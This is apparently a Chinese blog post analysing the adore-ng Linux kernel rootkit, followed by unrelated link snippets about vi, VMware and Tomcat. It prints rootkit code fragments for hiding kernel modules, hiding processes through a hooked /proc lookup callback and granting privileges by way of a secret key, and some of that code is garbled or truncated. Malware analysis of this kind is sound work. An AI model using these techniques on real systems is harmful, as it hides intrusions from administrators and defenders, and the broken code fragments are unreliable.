两个linux内核rootkit 之二：adore ng
这个rootkit使用的技术不比前一个，它不是拦截系统调用，而是拦截具体文件系统的回调函数，本身文件系统的回调函数就是动态注册的，很是不确定，那么反黑软件自然就不能简单下结论说这个函数被黑掉了，因此这个rootkit看来比前一个略胜一筹，自然的，既然是内核模块，那么模块隐藏也是一个重要的内容，以下是一个简单的模块隐藏代码，使用此代码的前提就是将此模块紧接着希望被隐藏的模块之后加载： ...//省略头文件 int init_module() { if (__this_module.next) //这个逻辑很简单，由于被隐藏的模块在这个模块之前加载，那么之需要更改该模块的next指针即可 __this_module.next = __this_module.next->next; return 0; } ...//省略 该rootkit的第一步就是用所有的进程构建一个位图hidden_procs，如果哪个进程需要隐藏，那么就将该进程的pid所在的位置置1，反之置0 inline void hide_proc(pid_t x) { if (x >= PID_MAX || x == 1) return; hidden_procs[x/8] |= 1parent->pid)) { task_unlock(p); hide_proc(pid); return 1; } task_unlock(p); return 0; } 查看进程的ps命令主要是遍历/proc文件系统的根目录，只要是数字的那么就被视为一个进程的pid，该rootkit隐藏进程的策略很简单，就是： sprintf(buf, APREFIX"/hide-%d", pid); close(open(buf, O_RDWR|O_CREAT, 0)); 由于open系统调用最终肯定会调用lookup回调函数，那么就在该lookup中做文章，如果想隐藏pid为n的进程，我们先在/proc创建一个新的文件hide-n文件，由于我们已经黑掉了具体proc文件系统的lookup回调函数为adore_lookup，所以我们可以将隐藏进程的操作放到该lookup中，在该lookup中如果发现有文件的前缀为hide-，那么我们就调用hide_proc函数，具体的pid就是该新建文件的第五个字符之后的字符串转化为数字。注意，这个adore_lookup函数一举两得，在新建带有hide-前缀文件的时候会隐藏文件，在ps命令查看进程的时候如果是已经隐藏的文件会返回NULL，这里有人可能会问，在/proc目录是没有权限创建新文件的，是的，是没有权限，关键是我们创建文件的目的不是创建一个新文件，而是仅仅希望使执行流到达lookup，从而调用hide_proc的目的，仅此而已： struct dentry *adore_lookup(struct inode *i, struct dentry *d) { task_lock(current); if (strncmp(ADORE_KEY, d->d_iname, strlen(ADORE_KEY)) == 0) { current->flags |= PF_AUTH; current->suid
相关文档：
vi编辑器是所有Unix及Linux系统下标准的编辑器
，
它的强大不逊色于任何最新的文本编辑器，这里只是简单地介绍一下它的用法和一小部分指令。由于对Unix及Linux系统的任何版本，vi编辑器是完全相
同的，因此您可以在其他任何介绍vi的地方进一步了解它。Vi也是Linux中最基本的文本编辑器，学会它后，您将在Linux的世界里畅 ......
虚拟机的网络采用Bridged(桥接)方式，刚开始以为，是因为机器上的有些网卡没有连接电缆，而VMWare又恰好使用了该网卡，经过几个小时的测试，通过禁用没连线的网卡、把VMWare的VM0映射到连线的其他网卡，都没有解决问题。
在VM虚拟机中装了redhatlinux9.0，准备与主机共享文件，结果网络不通！
&n ......
本人操作系统环境是UBUNTU 8.04 在超级权限下安装成功,仅供参考(前提得安装Linux 版本JDK)
基本介绍:
Tomcat
是一个免费的开源的Serlvet容器，它是Apache基金会的Jakarta项目中的一个核心项目，由Apache，Sun和其它一些公司及个人共同开发而成。由于有了Sun的参与和支持，最新的Servlet和Jsp规范总能在Tomcat� ......
